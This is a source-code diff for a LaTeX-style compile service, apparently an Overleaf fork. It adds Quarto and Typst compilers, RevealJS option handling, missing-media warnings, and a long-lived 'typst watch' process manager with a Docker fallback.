function _injectRevealjsStandaloneOptions(content) {
|
||||||
|
const fmMatch = content.match(/^(---\r?\n)([\s\S]*?)(\r?\n---\r?\n?)/)
|
||||||
|
if (!fmMatch) return null
|
||||||
|
const [, open, body, close] = fmMatch
|
||||||
|
const lines = body.split('\n')
|
||||||
|
|
||||||
|
const revealIdx = lines.findIndex(l => /^\s*revealjs:\s*$/.test(l))
|
||||||
|
if (revealIdx === -1) return null // not a `format:\n revealjs:` deck
|
||||||
|
|
||||||
|
const revealIndent = lines[revealIdx].match(/^(\s*)/)[1]
|
||||||
|
|
||||||
|
// Determine the block's child indent (from the first more-indented line) and
|
||||||
|
// where the block ends (the first later line indented at/under revealjs:).
|
||||||
|
let childIndent = revealIndent + ' '
|
||||||
|
let blockEnd = lines.length
|
||||||
|
let seenChild = false
|
||||||
|
for (let i = revealIdx + 1; i < lines.length; i++) {
|
||||||
|
if (lines[i].trim() === '') continue
|
||||||
|
const indent = lines[i].match(/^(\s*)/)[1]
|
||||||
|
if (indent.length <= revealIndent.length) {
|
||||||
|
blockEnd = i
|
||||||
|
break
|
||||||
|
}
|
||||||
|
if (!seenChild) {
|
||||||
|
childIndent = indent
|
||||||
|
seenChild = true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const desired = {
|
||||||
|
'embed-resources': 'true',
|
||||||
|
'self-contained-math': 'true',
|
||||||
|
chalkboard: 'false',
|
||||||
|
}
|
||||||
|
|
||||||
|
const present = new Set()
|
||||||
|
for (let i = revealIdx + 1; i < blockEnd; i++) {
|
||||||
|
const km = lines[i].match(/^\s*([A-Za-z0-9_-]+):/)
|
||||||
|
if (km && Object.prototype.hasOwnProperty.call(desired, km[1])) {
|
||||||
|
lines[i] = `${childIndent}${km[1]}: ${desired[km[1]]}`
|
||||||
|
present.add(km[1])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const additions = Object.keys(desired)
|
||||||
|
.filter(k => !present.has(k))
|
||||||
|
.map(k => `${childIndent}${k}: ${desired[k]}`)
|
||||||
|
if (additions.length) lines.splice(revealIdx + 1, 0, ...additions)
|
||||||
|
|
||||||
|
return open + lines.join('\n') + close + content.slice(fmMatch[0].length)
|
||||||
|
}
|
||||||
|
|
||||||
|
function _writeLogOutput(compileName, directory, output, callback) {
|
||||||
|
const content = (output && output.stdout) || ''
|
||||||
|
if (!content) return callback()
|
||||||
|
// Write to output.log so the PDF-preview log panel picks it up
|
||||||
|
const logFile = Path.join(directory, 'output.log')
|
||||||
|
fs.unlink(logFile, () => {
|
||||||
|
fs.writeFile(logFile, content, { flag: 'wx' }, err => {
|
||||||
|
if (err) {
|
||||||
|
logger.error({ err, compileName, logFile }, 'error writing quarto log')
|
||||||
|
}
|
||||||
|
callback()
|
||||||
|
})
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// Quarto's HTML/RevealJS output is NOT self-contained (we deliberately dropped
|
||||||
|
// --embed-resources so reveal plugins like chalkboard work). A side effect is
|
||||||
|
// that pandoc no longer tries to fetch referenced media, so a missing image or
|
||||||
|
// video produces no compile-time warning — it just renders broken in the
|
||||||
|
// browser. To restore that feedback, scan the produced output.html for local
|
||||||
|
// media references and emit a [WARNING] for any that don't exist on disk. The
|
||||||
|
// [WARNING] prefix is understood by the Quarto/Typst log parser on the web
|
||||||
|
// side, so these surface in the Warnings tab like any other.
|
||||||
|
//
|
||||||
|
// Only HTML output is scanned: PDF output (Typst) already hard-errors on a
|
||||||
|
// missing image, so it needs no extra check.
|
||||||
|
function _appendMissingResourceWarnings(directory, callback) {
|
||||||
|
const htmlFile = Path.join(directory, 'output.html')
|
||||||
|
fs.readFile(htmlFile, 'utf8', (err, html) => {
|
||||||
|
if (err) return callback() // no HTML output (e.g. a PDF compile)
|
||||||
|
|
||||||
|
const missing = _extractLocalMediaRefs(html).filter(ref => {
|
||||||
|
try {
|
||||||
|
return !fs.existsSync(Path.join(directory, decodeURIComponent(ref)))
|
||||||
|
} catch {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
})
|
||||||
|
if (missing.length === 0) return callback()
|
||||||
|
|
||||||
|
const warnings =
|
||||||
|
missing
|
||||||
|
.map(
|
||||||
|
ref =>
|
||||||
|
`[WARNING] Missing resource: ${ref} (referenced in the document ` +
|
||||||
|
`but not found in the project — it will appear broken)`
|
||||||
|
)
|
||||||
|
.join('\n') + '\n'
|
||||||
|
fs.appendFile(Path.join(directory, 'output.log'), '\n' + warnings, () =>
|
||||||
|
callback()
|
||||||
|
)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// Pull local media references (img/video/audio/iframe src, poster, RevealJS
|
||||||
|
// data-background-*) out of the rendered HTML. External URLs, data URIs and
|
||||||
|
// in-page anchors are ignored; Quarto's own generated assets (under
|
||||||
|
// <basename>_files/) exist on disk, so they never get flagged.
|
||||||
|
function _extractLocalMediaRefs(html) {
|
||||||
|
const refs = new Set()
|
||||||
|
const attrRegex =
|
||||||
|
/(?:src|poster|data-background-image|data-background-video)\s*=\s*["']([^"']+)["']/gi
|
||||||
|
let match
|
||||||
|
while ((match = attrRegex.exec(html)) !== null) {
|
||||||
|
const url = match[1].trim()
|
||||||
|
if (!url) continue
|
||||||
|
// Skip absolute URLs, protocol-relative, data/blob URIs and anchors.
|
||||||
|
if (/^(?:[a-z]+:|\/\/|\/|#|data:|blob:)/i.test(url)) continue
|
||||||
|
const clean = url.split(/[?#]/)[0] // drop query string / fragment
|
||||||
|
if (clean) refs.add(clean)
|
||||||
|
}
|
||||||
|
return [...refs]
|
||||||
|
}
|
||||||
|
|
||||||
|
function isRunning(compileName) {
|
||||||
|
return ProcessTable[compileName] != null
|
||||||
|
}
|
||||||
|
|
||||||
|
function killQuarto(compileName, callback) {
|
||||||
|
logger.debug({ compileName }, 'killing running quarto compile')
|
||||||
|
if (!isRunning(compileName)) {
|
||||||
|
logger.warn({ compileName }, 'no such compile to kill')
|
||||||
|
return callback(null)
|
||||||
|
}
|
||||||
|
CommandRunner.kill(ProcessTable[compileName], callback)
|
||||||
|
}
|
||||||
|
|
||||||
|
export default {
|
||||||
|
isRunning,
|
||||||
|
runQuarto,
|
||||||
|
killQuarto,
|
||||||
|
promises: {
|
||||||
|
runQuarto: promisify(runQuarto),
|
||||||
|
killQuarto: promisify(killQuarto),
|
||||||
|
},
|
||||||
|
}
|
||||||
@@ -2,7 +2,14 @@ import { promisify } from 'node:util'
|
|||||||
import settings from '@overleaf/settings'
|
import settings from '@overleaf/settings'
|
||||||
import OutputCacheManager from './OutputCacheManager.js'
|
import OutputCacheManager from './OutputCacheManager.js'
|
||||||
|
|
||||||
const VALID_COMPILERS = ['pdflatex', 'latex', 'xelatex', 'lualatex']
|
const VALID_COMPILERS = [
|
||||||
|
'quarto',
|
||||||
|
'typst',
|
||||||
|
'pdflatex',
|
||||||
|
'latex',
|
||||||
|
'xelatex',
|
||||||
|
'lualatex',
|
||||||
|
]
|
||||||
const MAX_TIMEOUT = 600
|
const MAX_TIMEOUT = 600
|
||||||
const EDITOR_ID_REGEX = /^[a-f0-9-]{36}$/ // UUID
|
const EDITOR_ID_REGEX = /^[a-f0-9-]{36}$/ // UUID
|
||||||
const HISTORY_ID_REGEX = /^([0-9a-f]{24}|[1-9][0-9]{0,9})$/ // mongo id or postgres id
|
const HISTORY_ID_REGEX = /^([0-9a-f]{24}|[1-9][0-9]{0,9})$/ // mongo id or postgres id
|
||||||
@@ -36,7 +43,7 @@ function parse(body, callback) {
|
|||||||
}
|
}
|
||||||
response.compiler = _parseAttribute('compiler', compile.options.compiler, {
|
response.compiler = _parseAttribute('compiler', compile.options.compiler, {
|
||||||
validValues: VALID_COMPILERS,
|
validValues: VALID_COMPILERS,
|
||||||
default: 'pdflatex',
|
default: 'quarto',
|
||||||
type: 'string',
|
type: 'string',
|
||||||
})
|
})
|
||||||
response.compileFromClsiCache = _parseAttribute(
|
response.compileFromClsiCache = _parseAttribute(
|
||||||
@@ -95,6 +102,20 @@ function parse(body, callback) {
|
|||||||
response.check = _parseAttribute('check', compile.options.check, {
|
response.check = _parseAttribute('check', compile.options.check, {
|
||||||
type: 'string',
|
type: 'string',
|
||||||
})
|
})
|
||||||
|
// Verso: on-demand presentation export ('html-standalone' | 'pdf-slides'),
|
||||||
|
// honoured by QuartoRunner; empty for a normal preview compile.
|
||||||
|
response.exportMode = _parseAttribute(
|
||||||
|
'exportMode',
|
||||||
|
compile.options.exportMode,
|
||||||
|
{ default: '', type: 'string' }
|
||||||
|
)
|
||||||
|
// Verso: whether QuartoRunner may install the project's requirements.txt
|
||||||
|
// into a cached venv (gated by privilege on the web side).
|
||||||
|
response.allowPythonInstall = _parseAttribute(
|
||||||
|
'allowPythonInstall',
|
||||||
|
compile.options.allowPythonInstall,
|
||||||
|
{ default: false, type: 'boolean' }
|
||||||
|
)
|
||||||
response.flags = _parseAttribute('flags', compile.options.flags, {
|
response.flags = _parseAttribute('flags', compile.options.flags, {
|
||||||
default: [],
|
default: [],
|
||||||
type: 'object',
|
type: 'object',
|
||||||
@@ -180,7 +201,7 @@ function parse(body, callback) {
|
|||||||
'rootResourcePath',
|
'rootResourcePath',
|
||||||
compile.rootResourcePath,
|
compile.rootResourcePath,
|
||||||
{
|
{
|
||||||
default: 'main.tex',
|
default: 'main.qmd',
|
||||||
type: 'string',
|
type: 'string',
|
||||||
}
|
}
|
||||||
)
|
)
|
||||||
|
|||||||
@@ -209,8 +209,16 @@ export default ResourceWriter = {
|
|||||||
return callback(error)
|
return callback(error)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Project input resources are in outputFiles only to be served from
|
||||||
|
// the output cache (HTML media exception in OutputFileFinder). They
|
||||||
|
// must never be deleted here — incremental compiles don't re-sync
|
||||||
|
// unchanged binary files, so deleting them would leave them missing
|
||||||
|
// for Quarto and for _appendMissingResourceWarnings.
|
||||||
|
const incomingPaths = new Set(resources.map(r => r.path))
|
||||||
|
|
||||||
const jobs = []
|
const jobs = []
|
||||||
for (const { path } of outputFiles || []) {
|
for (const { path } of outputFiles || []) {
|
||||||
|
if (incomingPaths.has(path)) continue
|
||||||
const shouldDelete = ResourceWriter.isExtraneousFile(path)
|
const shouldDelete = ResourceWriter.isExtraneousFile(path)
|
||||||
if (shouldDelete) {
|
if (shouldDelete) {
|
||||||
jobs.push(callback =>
|
jobs.push(callback =>
|
||||||
|
|||||||
@@ -0,0 +1,493 @@
|
|||||||
|
import Path from 'node:path'
|
||||||
|
import { spawn } from 'node:child_process'
|
||||||
|
import { promisify } from 'node:util'
|
||||||
|
import logger from '@overleaf/logger'
|
||||||
|
import Settings from '@overleaf/settings'
|
||||||
|
import CommandRunner from './CommandRunner.js'
|
||||||
|
import fs from 'node:fs'
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// Constants
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
// Max lines kept from the current compile cycle (prevents unbounded growth
|
||||||
|
// for documents that produce many warnings).
|
||||||
|
const MAX_LOG_LINES = 500
|
||||||
|
|
||||||
|
// How long to wait for the watcher process to emit its first output.
|
||||||
|
const WATCH_START_TIMEOUT_MS = 15_000
|
||||||
|
|
||||||
|
// Matches the start-of-compile marker typst watch emits before each cycle:
|
||||||
|
// "[HH:MM:SS] compiling ..."
|
||||||
|
// Used to reset the line buffer so stale output from a failed compile that
|
||||||
|
// didn't emit a "compiled with errors" footer cannot bleed into the next log.
|
||||||
|
const COMPILE_START_RE = /^\[\d{2}:\d{2}:\d{2}\] compiling/
|
||||||
|
|
||||||
|
// Matches the three terminal lines that typst watch emits at the end of each
|
||||||
|
// compile cycle regardless of outcome:
|
||||||
|
// "[HH:MM:SS] compiled successfully in 42ms"
|
||||||
|
// "[HH:MM:SS] compiled with warnings in 42ms"
|
||||||
|
// "[HH:MM:SS] compiled with errors"
|
||||||
|
const COMPILE_DONE_RE = /compiled (successfully|with (errors|warnings))/
|
||||||
|
|
||||||
|
// Signals FileId exhaustion in a long-lived typst process (typst issue #7434).
|
||||||
|
const FILE_ID_EXHAUSTION_RE = /ran out of file ids/i
|
||||||
|
|
||||||
|
// Proactively restart the watcher before FileId exhaustion.
|
||||||
|
// Typst uses ~65 IDs per compile; 1000 compiles ≈ 65 000 — safely under 65 535.
|
||||||
|
const MAX_COMPILES_BEFORE_RESTART = 1000
|
||||||
|
|
||||||
|
// typst watch emits the "[HH:MM:SS] compiled with errors" status line FIRST,
|
||||||
|
// then the full diagnostic output (file:line:col, code snippets) AFTERWARDS.
|
||||||
|
// We buffer post-done lines and resolve after this delay if no new compile
|
||||||
|
// cycle starts sooner. 150 ms is well above the ~1 chunk latency for typst's
|
||||||
|
// diagnostic flush and imperceptible on top of a typical compile time.
|
||||||
|
const FLUSH_DELAY_MS = 150
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// State (module-level, never exported)
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
// Active cold-start compile jobs (Docker fallback): compileName → PID
|
||||||
|
const ProcessTable = {}
|
||||||
|
|
||||||
|
// Long-lived watcher processes: compileName → WatchEntry
|
||||||
|
// WatchEntry shape:
|
||||||
|
// proc ChildProcess
|
||||||
|
// directory compile dir (absolute path)
|
||||||
|
// mainFile root .typ filename
|
||||||
|
// environment env vars passed to the runner
|
||||||
|
// compilationCount total successful compile cycles on this watcher
|
||||||
|
// restartPending flag to restart at the next runTypst call
|
||||||
|
// accumulator incomplete trailing line from the last data chunk
|
||||||
|
// currentLines lines accumulated in the current phase (pre-done or
|
||||||
|
// post-done, see _onWatcherData for the two-phase logic)
|
||||||
|
// doneResult { preLines, compiledWithErrors } held between the
|
||||||
|
// COMPILE_DONE_RE line and the post-done diagnostic flush;
|
||||||
|
// null when not in post-done phase
|
||||||
|
// flushTimeout timeout handle that finalises doneResult when no next
|
||||||
|
// compile cycle starts within FLUSH_DELAY_MS
|
||||||
|
// pendingResolvers Array<{resolve, reject, timeoutHandle}>
|
||||||
|
// pendingResult compile result cached when typst finished before a
|
||||||
|
// resolver was registered (race-condition safety net)
|
||||||
|
const WatchTable = {}
|
||||||
|
|
||||||
|
// PIDs we have intentionally killed, so the close handler can distinguish
|
||||||
|
// an expected exit from an unexpected crash.
|
||||||
|
const _killedWatchPids = new Set()
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// Public entry point
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
async function runTypstAsync(compileName, options) {
|
||||||
|
// Docker / sandboxed mode: fall back to a cold-start compile per request.
|
||||||
|
if (Settings.clsi?.dockerRunner) {
|
||||||
|
return _runColdStart(compileName, options)
|
||||||
|
}
|
||||||
|
|
||||||
|
const timeout = options.timeout || 60_000
|
||||||
|
const entry = WatchTable[compileName]
|
||||||
|
|
||||||
|
const needsStart =
|
||||||
|
!entry ||
|
||||||
|
entry.restartPending ||
|
||||||
|
entry.proc.exitCode !== null
|
||||||
|
|
||||||
|
if (needsStart) {
|
||||||
|
if (entry) _killWatchEntry(compileName)
|
||||||
|
// _startWatcher spawns the process, registers all handlers, then calls
|
||||||
|
// _waitForNextCompile synchronously — the resolver is in pendingResolvers
|
||||||
|
// before any I/O event can fire, eliminating the race condition.
|
||||||
|
const result = await _startWatcher(compileName, options)
|
||||||
|
await _writeLogOutputAsync(compileName, options.directory, result)
|
||||||
|
if (result.compiledWithErrors) {
|
||||||
|
throw Object.assign(new Error('typst-compile-failure'), {
|
||||||
|
typstCompileFailure: true,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
|
||||||
|
// Watcher is alive. _waitForNextCompile adds the resolver synchronously
|
||||||
|
// inside the Promise constructor, before this function yields — safe.
|
||||||
|
const result = await _waitForNextCompile(compileName, timeout)
|
||||||
|
await _writeLogOutputAsync(compileName, options.directory, result)
|
||||||
|
if (result.compiledWithErrors) {
|
||||||
|
throw Object.assign(new Error('typst-compile-failure'), {
|
||||||
|
typstCompileFailure: true,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// Watcher lifecycle
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
async function _startWatcher(compileName, options) {
|
||||||
|
const { directory, mainFile, environment } = options
|
||||||
|
const timeout = options.timeout || 60_000
|
||||||
|
|
||||||
|
const absInput = Path.join(directory, mainFile)
|
||||||
|
const absOutput = Path.join(directory, 'output.pdf')
|
||||||
|
const env = { ...process.env, ...(environment || {}) }
|
||||||
|
|
||||||
|
logger.debug({ compileName, absInput }, 'starting typst watcher')
|
||||||
|
|
||||||
|
const proc = spawn(
|
||||||
|
'/bin/sh',
|
||||||
|
['-c', `typst watch "${absInput}" "${absOutput}" 2>&1`],
|
||||||
|
{
|
||||||
|
cwd: directory,
|
||||||
|
env,
|
||||||
|
stdio: ['ignore', 'pipe', 'ignore'],
|
||||||
|
detached: true,
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
const entry = {
|
||||||
|
proc,
|
||||||
|
directory,
|
||||||
|
mainFile,
|
||||||
|
environment,
|
||||||
|
compilationCount: 0,
|
||||||
|
restartPending: false,
|
||||||
|
accumulator: '',
|
||||||
|
currentLines: [],
|
||||||
|
doneResult: null,
|
||||||
|
flushTimeout: null,
|
||||||
|
pendingResolvers: [],
|
||||||
|
pendingResult: null,
|
||||||
|
}
|
||||||
|
WatchTable[compileName] = entry
|
||||||
|
|
||||||
|
// Register handlers synchronously — before any I/O events can fire.
|
||||||
|
proc.stdout.setEncoding('utf8')
|
||||||
|
proc.stdout.on('data', chunk => _onWatcherData(compileName, chunk))
|
||||||
|
|
||||||
|
proc.on('error', err => {
|
||||||
|
logger.error({ err, compileName }, 'typst watcher process error')
|
||||||
|
_rejectAllPending(
|
||||||
|
compileName,
|
||||||
|
Object.assign(err, { terminated: true })
|
||||||
|
)
|
||||||
|
if (WatchTable[compileName]?.proc === proc) {
|
||||||
|
delete WatchTable[compileName]
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
proc.on('close', (code, signal) => {
|
||||||
|
logger.warn({ code, signal, compileName }, 'typst watcher exited')
|
||||||
|
const wasKilled = _killedWatchPids.delete(proc.pid)
|
||||||
|
if (!wasKilled) {
|
||||||
|
_rejectAllPending(
|
||||||
|
compileName,
|
||||||
|
Object.assign(new Error('typst watcher exited unexpectedly'), {
|
||||||
|
terminated: true,
|
||||||
|
})
|
||||||
|
)
|
||||||
|
}
|
||||||
|
if (WatchTable[compileName]?.proc === proc) {
|
||||||
|
delete WatchTable[compileName]
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
// typst watch performs an initial compile immediately on startup.
|
||||||
|
// _waitForNextCompile adds the resolver synchronously here (inside the
|
||||||
|
// Promise constructor) before we yield, so it will catch that first event.
|
||||||
|
return _waitForNextCompile(compileName, timeout + WATCH_START_TIMEOUT_MS)
|
||||||
|
}
|
||||||
|
|
||||||
|
function _killWatchEntry(compileName) {
|
||||||
|
const entry = WatchTable[compileName]
|
||||||
|
if (!entry) return
|
||||||
|
clearTimeout(entry.flushTimeout)
|
||||||
|
delete WatchTable[compileName]
|
||||||
|
try {
|
||||||
|
_killedWatchPids.add(entry.proc.pid)
|
||||||
|
process.kill(-entry.proc.pid) // kill entire process group
|
||||||
|
} catch (err) {
|
||||||
|
_killedWatchPids.delete(entry.proc.pid)
|
||||||
|
logger.warn({ err, compileName }, 'error killing typst watcher process group')
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// Stdout parsing
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
function _onWatcherData(compileName, chunk) {
|
||||||
|
const entry = WatchTable[compileName]
|
||||||
|
if (!entry) return
|
||||||
|
|
||||||
|
entry.accumulator += chunk
|
||||||
|
const lines = entry.accumulator.split('\n')
|
||||||
|
entry.accumulator = lines.pop() // keep the incomplete trailing fragment
|
||||||
|
|
||||||
|
for (const line of lines) {
|
||||||
|
if (COMPILE_START_RE.test(line)) {
|
||||||
|
// A new compile cycle is starting. If we were in the post-done phase
|
||||||
|
// (collecting diagnostic lines that typst emits AFTER the status line),
|
||||||
|
// finalise the previous result now — all diagnostics have arrived.
|
||||||
|
if (entry.doneResult) {
|
||||||
|
_finalizeCompile(compileName)
|
||||||
|
}
|
||||||
|
// Start fresh for the new cycle.
|
||||||
|
entry.currentLines = [line]
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
entry.currentLines.push(line)
|
||||||
|
if (entry.currentLines.length > MAX_LOG_LINES) {
|
||||||
|
entry.currentLines.shift()
|
||||||
|
}
|
||||||
|
|
||||||
|
if (FILE_ID_EXHAUSTION_RE.test(line)) {
|
||||||
|
logger.warn({ compileName }, 'typst watcher: FileId exhaustion detected')
|
||||||
|
entry.restartPending = true
|
||||||
|
}
|
||||||
|
|
||||||
|
if (COMPILE_DONE_RE.test(line)) {
|
||||||
|
entry.compilationCount++
|
||||||
|
|
||||||
|
if (entry.compilationCount >= MAX_COMPILES_BEFORE_RESTART) {
|
||||||
|
logger.info(
|
||||||
|
{ compileName, compilationCount: entry.compilationCount },
|
||||||
|
'typst watcher: scheduling restart (FileId threshold)'
|
||||||
|
)
|
||||||
|
entry.restartPending = true
|
||||||
|
}
|
||||||
|
|
||||||
|
// typst watch outputs the "[HH:MM:SS] compiled with errors" status
|
||||||
|
// line FIRST, then the full diagnostics (file:line:col, code snippets)
|
||||||
|
// AFTERWARDS. Enter post-done phase: keep accumulating into currentLines
|
||||||
|
// and flush after FLUSH_DELAY_MS (or immediately when the next compile
|
||||||
|
// cycle's COMPILE_START_RE arrives, whichever comes first).
|
||||||
|
entry.doneResult = {
|
||||||
|
preLines: entry.currentLines,
|
||||||
|
compiledWithErrors: /compiled with errors/.test(line),
|
||||||
|
}
|
||||||
|
entry.currentLines = []
|
||||||
|
|
||||||
|
clearTimeout(entry.flushTimeout)
|
||||||
|
entry.flushTimeout = setTimeout(
|
||||||
|
() => _finalizeCompile(compileName),
|
||||||
|
FLUSH_DELAY_MS
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Combines the pre-done lines (up to/including the status line) with any
|
||||||
|
// post-done diagnostic lines and resolves all pending waiters.
|
||||||
|
function _finalizeCompile(compileName) {
|
||||||
|
const entry = WatchTable[compileName]
|
||||||
|
if (!entry || !entry.doneResult) return
|
||||||
|
|
||||||
|
clearTimeout(entry.flushTimeout)
|
||||||
|
entry.flushTimeout = null
|
||||||
|
|
||||||
|
const { preLines, compiledWithErrors } = entry.doneResult
|
||||||
|
entry.doneResult = null
|
||||||
|
|
||||||
|
// Merge: status line(s) first, then the post-done diagnostics.
|
||||||
|
const allLines = preLines.concat(entry.currentLines)
|
||||||
|
entry.currentLines = []
|
||||||
|
|
||||||
|
_resolveAllPending(compileName, {
|
||||||
|
stdout: allLines.join('\n'),
|
||||||
|
compiledWithErrors,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// Resolver helpers
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
function _waitForNextCompile(compileName, timeout) {
|
||||||
|
return new Promise((resolve, reject) => {
|
||||||
|
const entry = WatchTable[compileName]
|
||||||
|
if (!entry) {
|
||||||
|
return reject(new Error('no typst watcher for ' + compileName))
|
||||||
|
}
|
||||||
|
|
||||||
|
// If typst finished a compile cycle before this resolver was registered
|
||||||
|
// (race: ResourceWriter wrote files → typst compiled → runTypst called),
|
||||||
|
// consume the cached result immediately instead of waiting for a timeout.
|
||||||
|
if (entry.pendingResult) {
|
||||||
|
const result = entry.pendingResult
|
||||||
|
entry.pendingResult = null
|
||||||
|
return resolve(result)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Push synchronously inside the Promise constructor — before the first
|
||||||
|
// await in the caller, so no data event can fire in the gap.
|
||||||
|
const timeoutHandle = setTimeout(() => {
|
||||||
|
entry.pendingResolvers = entry.pendingResolvers.filter(r => r !== resolver)
|
||||||
|
reject(
|
||||||
|
Object.assign(new Error('typst compile timed out'), { timedout: true })
|
||||||
|
)
|
||||||
|
}, timeout)
|
||||||
|
|
||||||
|
const resolver = { resolve, reject, timeoutHandle }
|
||||||
|
entry.pendingResolvers.push(resolver)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
function _resolveAllPending(compileName, result) {
|
||||||
|
const entry = WatchTable[compileName]
|
||||||
|
if (!entry) return
|
||||||
|
const resolvers = entry.pendingResolvers.splice(0)
|
||||||
|
if (resolvers.length === 0) {
|
||||||
|
// typst compiled before a resolver was registered — cache the result so
|
||||||
|
// the next _waitForNextCompile call can consume it immediately.
|
||||||
|
entry.pendingResult = result
|
||||||
|
return
|
||||||
|
}
|
||||||
|
for (const { resolve, timeoutHandle } of resolvers) {
|
||||||
|
clearTimeout(timeoutHandle)
|
||||||
|
resolve(result)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function _rejectAllPending(compileName, err) {
|
||||||
|
const entry = WatchTable[compileName]
|
||||||
|
if (!entry) return
|
||||||
|
for (const { reject, timeoutHandle } of entry.pendingResolvers.splice(0)) {
|
||||||
|
clearTimeout(timeoutHandle)
|
||||||
|
reject(err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// Log output
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
async function _writeLogOutputAsync(compileName, directory, output) {
|
||||||
|
const content = (output && output.stdout) || ''
|
||||||
|
if (!content) return
|
||||||
|
// Write to output.log so the PDF-preview log panel picks it up.
|
||||||
|
const logFile = Path.join(directory, 'output.log')
|
||||||
|
try {
|
||||||
|
await fs.promises.unlink(logFile)
|
||||||
|
} catch (err) {
|
||||||
|
if (err.code !== 'ENOENT') {
|
||||||
|
logger.error({ err, compileName, logFile }, 'error removing typst log')
|
||||||
|
}
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
await fs.promises.writeFile(logFile, content, { flag: 'wx' })
|
||||||
|
} catch (err) {
|
||||||
|
if (err.code !== 'EEXIST') {
|
||||||
|
logger.error({ err, compileName, logFile }, 'error writing typst log')
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// Cold-start fallback (Docker / sandboxed mode)
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
function _runColdStart(compileName, options) {
|
||||||
|
return new Promise((resolve, reject) => {
|
||||||
|
const { directory, mainFile, image, environment, compileGroup } = options
|
||||||
|
const timeout = options.timeout || 60_000
|
||||||
|
|
||||||
|
logger.debug({ directory, mainFile, compileGroup }, 'typst cold-start compile')
|
||||||
|
|
||||||
|
const inputPath = `$COMPILE_DIR/${mainFile}`
|
||||||
|
const command = ['/bin/sh', '-c', `typst compile ${inputPath} output.pdf 2>&1`]
|
||||||
|
|
||||||
|
ProcessTable[compileName] = CommandRunner.run(
|
||||||
|
compileName,
|
||||||
|
command,
|
||||||
|
directory,
|
||||||
|
image,
|
||||||
|
timeout,
|
||||||
|
environment || {},
|
||||||
|
compileGroup,
|
||||||
|
null,
|
||||||
|
function (error, output) {
|
||||||
|
delete ProcessTable[compileName]
|
||||||
|
if (error && (error.terminated || error.timedout)) {
|
||||||
|
return reject(error)
|
||||||
|
}
|
||||||
|
const combined =
|
||||||
|
output || (error ? { stdout: error.stdout || '' } : null)
|
||||||
|
_writeLogOutputAsync(compileName, directory, combined).then(
|
||||||
|
() => {
|
||||||
|
if (error && combined?.stdout) {
|
||||||
|
// Non-zero exit with output = typst compile error (not a
|
||||||
|
// system/infra error). Signal failure so the log panel opens.
|
||||||
|
reject(
|
||||||
|
Object.assign(new Error('typst-compile-failure'), {
|
||||||
|
typstCompileFailure: true,
|
||||||
|
})
|
||||||
|
)
|
||||||
|
} else if (error) {
|
||||||
|
reject(error)
|
||||||
|
} else {
|
||||||
|
resolve(combined)
|
||||||
|
}
|
||||||
|
},
|
||||||
|
reject
|
||||||
|
)
|
||||||
|
}
|
||||||
|
)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// Public interface
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
function isRunning(compileName) {
|
||||||
|
return (
|
||||||
|
ProcessTable[compileName] != null ||
|
||||||
|
(WatchTable[compileName]?.pendingResolvers.length > 0)
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
function killTypst(compileName, callback) {
|
||||||
|
logger.debug({ compileName }, 'killing typst (watcher + any active compile)')
|
||||||
|
|
||||||
|
// Cold-start fallback path
|
||||||
|
if (ProcessTable[compileName] != null) {
|
||||||
|
CommandRunner.kill(ProcessTable[compileName], () => {})
|
||||||
|
delete ProcessTable[compileName]
|
||||||
|
}
|
||||||
|
|
||||||
|
// Reject any in-flight waiters and tear down the watcher process
|
||||||
|
_rejectAllPending(
|
||||||
|
compileName,
|
||||||
|
Object.assign(new Error('terminated'), { terminated: true })
|
||||||
|
)
|
||||||
|
_killWatchEntry(compileName)
|
||||||
|
|
||||||
|
callback(null)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Kill all watcher processes when the CLSI Node process exits.
|
||||||
|
process.on('exit', () => {
|
||||||
|
for (const compileName of Object.keys(WatchTable)) {
|
||||||
|
_killWatchEntry(compileName)
|
